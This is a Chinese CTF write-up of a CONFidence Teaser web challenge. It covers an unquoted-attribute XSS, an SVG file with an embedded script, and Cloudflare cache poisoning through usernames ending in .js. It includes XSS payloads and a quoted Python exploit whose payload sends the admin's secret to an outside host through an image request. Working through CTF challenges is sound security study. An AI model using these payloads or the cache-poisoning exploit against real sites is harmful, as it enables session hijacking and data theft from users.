参加了p4Team举办的Teaser CONFidence CTF,其中有一道很有意思的题,预期解法是svg xss,非预期解法是前段时间刚学的缓存投毒。
题目
地址:http://web50.zajebistyc.tf/ (环境还没关)题目主页给了一个登陆注册的页面,可以注册任意用户名的账号登陆成功后有两个功能第一个功能可以修改自己的个人信息以及上传头像第二个功能是给了一个表单,提交后台admin会去访问。
根据题目描述我们应该是要通过xss获取admin页面Secret表单的值。如果我们直接访问admin页面,只会显示简单的个人信息。
思路:1、上传html文件,让admin访问进行xss。2、个人信息页面构造xss,让admin访问。
通过抓包测试上传功能,我发现可以上传任意后缀的文件,但是要求文件头必须是图片格式,且图片尺寸为100x100。通过上传html文件并访问,我发现服务器把他当作图片来解析了,我猜测是根据文件头来进行解析的。因此我们需要找到能够进行xss的图片格式(也就是svg,下面会说)。这条路不通,只能尝试第二种思路,在个人信息页面构造xss。经过测试发现尖括号和单双引号都被实体编码了。但是发现Shoesize的value值没有被双引号包裹,可以构造xss。payload:30 autofocus onfocus=alert(1)
但是这只是一个sefxss,只有自己能看到,别人访问的话是这个样子的然后就被卡在了这里。赛后通过询问主办方,他告诉我预期解法是svg xss,非预期是缓存投毒攻击:https://ctftime.org/writeup/13925
SVG XSS
可以参考:SVG XSS的一个黑魔法SVG 是使用 XML 来描述二维图形和绘图程序的语言。SVG可缩放矢量图形(Scalable Vector Graphics),顾名思义就是任意改变其大小也不会变形,是基于可扩展标记语言(XML),他严格遵从XML语法,并用文本格式的描述性语言来描述图像内容,因此是一种和图像分辨率无关的矢量图形格式。通过在线图片转SVG,我们可以看到基本的SVG图片格式SVG标准中定义了script标签的存在,<svg>
遵循XML和SVG的定义,因此我们可以利用其来执行XSS。构造一个SVG文件
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" width="100px" height="100px" viewBox="0 0 751 751" enable-background="new 0 0 751 751" xml:space="preserve"> <image id="image0" width="751" height="751" x="0" y="0"
href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAu8AAALvCAIAAABa4bwGAAAAIGNIUk0AAHomAACAhAAA+gAAAIDo" />
<script>alert(1)</script>
</svg>
本地测试构造获取secret的xss脚本,然后发给admin,获得flag。
缓存投毒
这个是非预期的解法:https://ctftime.org/writeup/13925关于缓存投毒安全客之前也有翻译的文章:实战Web缓存投毒(上),p牛在知识星球也讲过了,我就不班门弄斧了。
p牛:原理就是正常的缓存是架设在用户和服务器中间,能够让用户更快地获取想要的结果,而缓存投毒的意思就是:攻击者使缓存服务器存储了有害的页面,此时正常用户如果命中了这个缓存,将会被有害页面攻击。
通过响应头我们可以看到,题目使用cloudflare来做CDN缓存。通过百度我们知道CLOUDFLARE CDN 默认只对 静态资源进行缓存加速, 比如 JS, CSS, 图片, 音频, 文档等. 如果是动态的页面, 比如PHP HTML这些请求的话 CLOUDFLARE是默认不缓存的。但是开头我们就发现可以注册任意用户名,我们可以注册Smi1e.js
这样的用户名来触发CDN缓存。
看到题目的非预期wp,我发现一个问题,响应头中有两个Vary头,Vary: Accept-Encoding Vary: Cookie
,我们知道vary头是用来决定使用哪个请求头来作为查找缓存的依据的,但是题目的解法就是让admin访问了自己投毒的XSS缓存,而管理员的cookie显然是不知道的,但是却能成功投毒。我本地用两个浏览器分别注册了两个号做测试。一个用户名为Smi1e.js
用来投毒一个Smi1e,用来做被攻击者。访问投毒页面这时候你可能会问为什么头像不一样,因为这是第一次访问该页面的数据,已经被缓存了,缓存时间结束之前是不会改变的,而第一个头像是访问这个页面之后又上传的。
这时候我们发现Vary: Cookie
这个头是不是没什么作用,cookie
不一样也能命中缓存?通过询问Wonderkun和其他几位师傅,他们觉得vary
头可能没起作用。毕竟是静态缓存,js、css、图片什么的是可以被当作公共文件来访问的。(如果师傅们知道是为什么的话,请务必告诉我)
最后就是投毒了,通过上面我们知道如果我们要投毒成功,必须要新注册一个用户名为.js
后缀的账号,然后直接post修改数据的投毒数据包,不能先访问再更改,因此你访问之后页面已经被缓存了,当然还可以计算缓存结束时间,然后bp爆破修改数据,不过比较麻烦。
另外我们投毒的机器还要和admin使用同一个CDN缓存服务器。因此我们需要购买指定地区的vps,这里我就直接贴ctftime上的exp了。
import requests, random
payload = '''fetch("/profile").then(function(e){e.text().then(function(f){new/**/Image().src='//avlidienbrunn.se/?'+/secret(.*)>/.exec(f)[0]})})'''
raw_data = '''------WebKitFormBoundary8XvNm1gXcAtb4Hik
Content-Disposition: form-data; name="firstname"
azz
------WebKitFormBoundary8XvNm1gXcAtb4Hik
Content-Disposition: form-data; name="lastname"
zzz
------WebKitFormBoundary8XvNm1gXcAtb4Hik
Content-Disposition: form-data; name="shoesize"
1 tabindex=1 contenteditable autofocus onfocus='''+payload+'''
------WebKitFormBoundary8XvNm1gXcAtb4Hik
Content-Disposition: form-data; name="secret"
asd
------WebKitFormBoundary8XvNm1gXcAtb4Hik
Content-Disposition: form-data; name="avatar"; filename=""
Content-Type: application/octet-stream
------WebKitFormBoundary8XvNm1gXcAtb4Hik--
'''
s = requests.Session()
s.get('http://web50.zajebistyc.tf/login')
username = 'hfs-'+str(random.randint(1000000,99999999))+".js"
password = username
headers_login = {'Content-Type': 'application/x-www-form-urlencoded'}
headers = {'Content-Type': 'multipart/form-data; boundary=----WebKitFormBoundary8XvNm1gXcAtb4Hik'}
# Register account
res = s.post('http://web50.zajebistyc.tf/login', headers=headers_login, data="login="+username+"&password="+password)
# XSS profile
res = s.post('http://web50.zajebistyc.tf/profile/'+username, data=raw_data, headers=headers)
# Poison cloudflare cache
s.get('http://web50.zajebistyc.tf/profile/'+username)
print "poisoned. go report "+'http://web50.zajebistyc.tf/profile/'+username